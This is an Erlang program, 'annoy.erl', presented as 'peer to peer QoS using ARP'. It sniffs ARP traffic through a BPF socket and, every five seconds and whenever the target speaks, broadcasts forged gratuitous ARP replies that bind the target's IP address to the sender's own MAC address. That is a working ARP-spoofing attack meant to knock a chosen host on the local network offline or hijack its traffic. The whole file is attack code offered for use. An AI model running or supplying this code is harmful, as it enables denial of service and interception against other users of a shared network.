Peer to peer QoS using ARP

annoy.erl

-module(annoy).
-export([er/3, arp/2]).

-include("pkt.hrl").
-include("bpf.hrl").

-record(state, {
        arp,
        fd,
        len = 0,
        sha = <<>>,
        tha = <<>>,
        tip
    }).

-define(ETHER_BROADCAST, <<16#FF, 16#FF, 16#FF, 16#FF, 16#FF, 16#FF>>).


er(Dev, TargetMAC, TargetIP) when is_list(Dev), is_list(TargetMAC), is_list(TargetIP) ->
    SourceMAC = get_mac_address(Dev),
    er(Dev, hwaddr_to_bin(TargetMAC), ip_to_tuple(TargetIP), SourceMAC).

er(Dev, TargetMAC, TargetIP, SourceMAC) ->
    {ok, Socket, Length} = bpf:open(Dev),
    {ok, _} = bpf:ctl(Socket, setf, filter()),

    Pid = spawn_link(fun() -> arper(Socket, SourceMAC, TargetIP) end),

    loop(#state{
            arp = Pid,
            fd = Socket,
            len = Length,
            sha = SourceMAC,
            tha = TargetMAC
        }).

loop(#state{
        fd = Socket,
        len = Length
    } = State) ->
    case procket:read(Socket, Length) of
        {ok, Packet} ->
            ok = buf(Packet, State),
            loop(State);
        {error, eagain} ->
            timer:sleep(10),
            loop(State)
    end.

buf(<<>>, _State) ->
    ok;
buf(Data, State) ->
    case bpf:buf(Data) of
        {bpf_buf, _Time, _Datalen, Packet, Rest} ->
            ARP = pkt:decapsulate(Packet),
            ok = match(ARP, State),
            buf(Rest, State);
        Error ->
            error_logger:error_report([{error, Error}]),
            Error
    end.


% Match the source MAC address
match([#ether{}, #arp{sha = Tha, sip = Sip}, _Payload],
    #state{tha = Tha, fd = Socket, sha = Sha, arp = Pid}) ->
    error_logger:info_report([{target_mac, Tha}, {target_ip, Sip}]),
    Pid ! {ip, Sip},
    send(Socket, Sha, Sip);

% Any other arps
match([#ether{}, #arp{sha = Sha, sip = Sip}, _Payload], #state{tha = Tha}) ->
    error_logger:info_report([{arp_hwaddr, Sha, Tha}, {arp_ip, Sip}]),
    ok;

% No match: ignore the packet
match(_, _) ->
    ok.

send(Socket, Sha, Sip) when is_integer(Socket), is_binary(Sha), is_tuple(Sip) ->
    error_logger:info_report([{gratuitous_arp, Sha, Sip}]),
    Arp = arp(Sha, Sip),
    procket:write(Socket, Arp).

arp(Sha, Sip) ->
    Ether = pkt:ether(#ether{
            dhost = ?ETHER_BROADCAST,
            shost = Sha,
            type = ?ETH_P_ARP
        }),

    Arp = pkt:arp(#arp{
            op = ?ARPOP_REPLY,
            sha = Sha,
            sip = Sip,
            tha = ?ETHER_BROADCAST,
            tip = Sip
        }),

    <<Ether/binary, Arp/binary, 0:128>>.

get_mac_address(Dev) ->
    {ok, Devices} = inet:getifaddrs(),
    Attr = proplists:get_value(Dev, Devices),
    [A,B,C,D,E,F] = proplists:get_value(hwaddr, Attr),

    <<A,B,C,D,E,F>>.

filter() ->
    [   
        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_ABS, 12),                 % offset = ethernet type
        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, ?ETH_P_ARP, 0, 1),  % ethernet type = 16#0806
        ?BPF_STMT(?BPF_RET+?BPF_K, 16#FFFF),                    % return: whole packet
        ?BPF_STMT(?BPF_RET+?BPF_K, 0)                           % return: drop packet
    ].

arper(Socket, MAC, IP) ->
    send(Socket, MAC, IP),

    receive
        {ip, IP1} ->
            error_logger:info_report([{new_target_ip, IP1}]),
            arper(Socket, MAC, IP1);
        Error ->
            error_logger:error_report([{unknown, Error}])
    after
        5000 ->
            arper(Socket, MAC, IP)
    end.

hwaddr_to_bin(MAC) ->
    [A,B,C,D,E,F] = [ list_to_integer(N, 16) || N <- string:tokens(MAC, [$:]) ],
    <<A,B,C,D,E,F>>.

ip_to_tuple(IP) ->
    [A,B,C,D] = [ list_to_integer(N) || N <- string:tokens(IP, [$.]) ],
    {A,B,C,D}.